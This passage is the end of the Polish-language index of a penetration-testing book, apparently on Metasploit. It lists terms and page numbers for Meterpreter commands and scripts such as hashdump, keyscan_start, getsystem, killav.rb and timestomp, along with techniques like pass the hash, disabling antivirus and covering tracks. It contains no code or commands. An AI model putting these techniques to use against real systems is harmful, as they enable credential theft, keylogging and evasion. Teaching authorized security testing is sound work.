z Windows 8, 85 z Windows XP SP2, 78 personifikacja, 233 nazwanego potoku, 233 tokenu, 278 phishing, 198, 212 piaskownica, 218 PID, process ID, 242 pivoting, 229, 250, 252 plik, Patrz także skrypt backdoor.exe, 88 database.yml, 34, 35 dnmap_client.py, 54 karma.rc, 202 konfiguracyjny, 38 policy.txt, 93 priceinfo.rtf, 105 resume.pdf, 108 s.bat, 87 set_config, 208, 212 słownika, 191 syringe.exe, 119 syringe.sh, 85 pliki .exe, 85 .pdf, 103, 108 .swf, 103 .vbs, 250 .xlb, 106 podatność na ataki, 75 podsieć, subnet, 229 podsłuch MiTM, 172 podszywanie się pod adresy MAC, 171 pod inną osobę, 173 polecenia interfejsu msfconsole, 100 sieciowe Meterpretera, 229 systemowe Meterpretera, 225 systemu plików Meterpretera, 227 polecenie background, 226 bbqsql, 39 db_connect, 34 db_nmap, 36 dig, 45, 46 download, 228 enumdesktops, 239 execute, 235 exit, 227 exploit, 153 getdesktop, 239, 241 getpid, 226 getsystem, 115, 232, 246 getuid, 226
ipconfig, 31, 230, 251 keyscan, 242 keyscan_start, 242 ls, 175 migrate, 234 msfconsole, 60 msfpayload, 109 msfvenom, 146 nmap, 36, 47 nslookup, 45 portfwd, 187, 231, 253 ps, 115, 226 pwd, 228 route, 230, 252 run scraper, 243 search, 228 search Samba, 89 set, 77 setg, 78 shell, 227 show exploits, 77 show options, 80, 127 show payloads, 80 show targets, 80 sysinfo, 226 taskkill, 118 tasklist, 117 timestomp, 237, 238 unsetg, 78 voiphopper, 171 whois, 45 write, 236 połączenie powłoki, 93, 99 SSH, 31 TCP, 48, 49, 84 three-way handshake, 49 trwałe, 247 typu threeway handshake, 47 z bazą danych, 35 z maszyną atakującego, 93 z nasłuchiwaczem, 219 ponowne wykorzystanie kodu, 266 poszerzanie uprawnień, 232 poświadczenia SMB, 56 powłoka cmdshell, 126 gościnna, 274 Meterpretera, 115 Ruby, 256 pozyskiwanie haseł, 168 program, Patrz aplikacja, narzędzie programy antywirusowe, 117 protokół NTLM, 245 NTLMSSP, 57
Skorowidz
RTP, 163 SIP, 163 SMB, 56 SNMP, 63 SSH, 59 TLS, 163 przechowywanie rezultatów, 36 przechwytywanie pakietów, 198 pakietów ciasteczek, 193 sesji, 191 uderzeń klawiatury, 239 przeglądarka Microsoft Internet Explorer, 100 przekierowanie portów, 231, 252, 254 przepełnienie bufora, 92, 106 sterty, 91 stosu, 104, 148 przeprowadzanie testów penetracyjnych, 18 przeskakiwanie VLAN-ów, 169, 171 przygotowywanie testów penetracyjnych, 29 PTES, 18 pulpit Winlogon, 240 punkt dostępowy, AP, 189 punkty końcowe sieci, 98
R ranga, rank, 79 RBL, Real-time Blackhole List, 212 rekordy NVT, 72 SPF, 46 RFB, Remote Frame Buffer, 271 RFI, Remote File Inclusion, 274 rodzaje ataków spear-phishing, 212 rozmiar stosu, 148 rozszyfrowywanie haseł, 247 RPC, Remote Procedure Call, 81 RTP, Real time Transport Protocol, 163
S schemat laboratorium, 164 schematy kodowania, 111 SEH, Structured Exception Handler, 118 serwer backdoorów, 248 dnmap, 53 FTP FileZilla, 156
IIS, 128 PBX, 165 pocztowy sendmail, 209 RBL, 212 VNC, 271 SET, Social-Engineer Toolkit, 40, 205 sieć bezprzewodowa, 179 VoIP, 161, 171 SIP, Session Initiation Protocol, 163 skaner portów, 185 ScanSSH, 62 smap, 166 skanowanie, 41 ACK, 48, 50 adresów IP, 186 FTP, 62 luk w zabezpieczeniach, 65, 70 nmap, 36 połączenia TCP, 47, 49 portów, 47, 52 poświadczeń SMB, 56, 58 punktów dostępowych, 189 SYN, 48, 50 TCP, 186 UDP, 48, 50 wersji SSH, 59 za pomocą narzędzia NeXpose, 68 skróty haseł, 247 skrypt AcroJS, 102 anonymous.rb, 134 arp_scanner, 184 dir_scanner, 122 enum_logged_on_user.rb, 131 hashdump, 245, 246 killav.rb, 113, 117 metsvc, 248 persistence, 248 scraper.rb, 243 screen_spy.rb, 131 startowy, 35 trwałego połączenia, 271 VB, 87, 120 winenum.rb, 245 skrypty Ruby, 265 skryte skanowanie, 48 SNMP, Simple Network Management Protocol, 63 socjotechnika, 205 SPF, Sender Policy Framework, 46 spoofing, 198
SPR, Sender Policy Framework, 212 spryskiwanie sterty, 102 standard Bluetooth, 179 PTES, 18 SANS, 42 Wi-Fi, 179 stos wykonawczy, 148 wywołań, 148 stosowanie domieszek, 264 stowarzyszenie inżynierów, 7 struktura modułu, 143 SURBL, 212 synchronizacja z bazą NVT, 71 system VoIP, 162 systemy detekcji włamań, 48, 232 szare listy, 212 szyfrowanie WEP, 187 WPA, 187
Ś ścieżka dostępu do modułu, 126 śledzenie współrzędnych geograficznych, 194
T tabela routingu, 253 TEB, Thread Environment Block, 233 technika pass the hash, 245 technologia VoIP, 161 telefonia IP, 162 terminal systemu BackTrack, 109 testowanie modułu exploita, 152 z minimalną wiedzą, 154 testy obciążeniowe, 175 penetracyjne sieć bezprzewodowa, 179 sieć VoIP, 161 Windows 8, 85 Windows XP, 78 tęczowe tablice, 246, 247 TLS, Transport Layer Security, 163 TLV, Type-Length-Value, 234 tokeny delegowania, 276 personifikacji, 276 topologie VoIP, 162
295
Skorowidz
transfer danych SWF, 103 tworzenie fuzzera, 156 katalogu dziennika skryptu, 269 ładunku, 214 modułu, 136 nasłuchiwacza, 107 skryptów połączeń trwałych, 269 skryptu, 263 złośliwego pliku, 105
U U3D, Universal 3D, 108 Ubuntu, 23 UI, user interface, 21 ukrywanie okna poleceń, 120 uprawnienia odczytu/zapisu, 135 użytkownika, 115 uruchamianie apletu, 218 exploita, 90 modułu, 139 urządzenie PDA, 194 Zoiper, 176 usługa LSA RPC, 91 online SIP, 163 Samba, 89 usługi hostowane, 162 programów antywirusowych, 116 ustawienia adaptera sieciowego, 31 usuwanie bazy danych, 35 uszkodzenie pamięci, 106 użytkownik Admin, 71 root, 71, 112 używanie modułu pomocniczego, 123
V VLAN hopping, 170 VNC, Virtual Network Computing, 271 VoIP, 161
296
W wabik, 51 walidacja, 268 walidacja rekordów SPR, 212 wardriving, 194–198 wektor ataku spear-phishing, 212 wieloaspektowego, 218 WWW, 215 wersja SSH, 59 weryfikacja treści, 212 wersji, 264 wiadomość e-mail, 215 wiązanie powłoki, 83 wiersz poleceń, 78, 117 Wi-Fi, 179 Windows, 21 Windows 2003, 128 Windows 7, 116 Windows 7 Ultimate, 92 Windows 8, 85, 120 Windows XP SP2, 78 Windows XP SP3, 98 współczynnik wykrycia, 111 wstrzykiwanie bibliotek DLL, 92 serwera VNC, 271 zapytań, 37 wybór exploita, 79, 89 ładunku, 80, 90 wykonywanie skryptu na maszynie docelowej, 271 wykrywanie adresu MAC, 172 ciasteczek, 194 systemu operacyjnego, 50 wersji usług, 50 wyłączanie ochrony antywirusowej, 113–116 usług, 118 wyszukiwanie sieci Wi-Fi, 194 wyszukiwarka SHODAN, 43 wyświetlanie komunikatu, 265 skryptu, 267 wyników, 263
wywołanie print_error, 256 print_good, 256 print_line, 256 print_status, 256
Z zachowanie konwencji pliku, 264 zacieranie śladów, 237 zainfekowane nośniki danych, 219 zamiatanie SNMP, 63 zamykanie kanału, 236 zapis plików, 270 zapytanie SQL, 127 zastosowania Meterpretera, 11 zbieranie informacji, 18, 41 aktywne, 42 pasywne, 42, 44 za pomocą narzędzi socjotechnicznych, 42 zdalne wstrzykiwanie serwera, 271 wywołanie procedury, 81 zdalny dostęp, 83 złamany klucz szyfrujący, 191 złośliwe hiperłącze, 98 złośliwy adres URL, 98 plik, 105 zmienne globalne, 263 znak wieloznaczności, 117 zachęty, 102 zwiększanie anonimowości, 51 uprawnień, 129
Ż żądania SIP, 163 żądanie autoryzacji SIP, 168
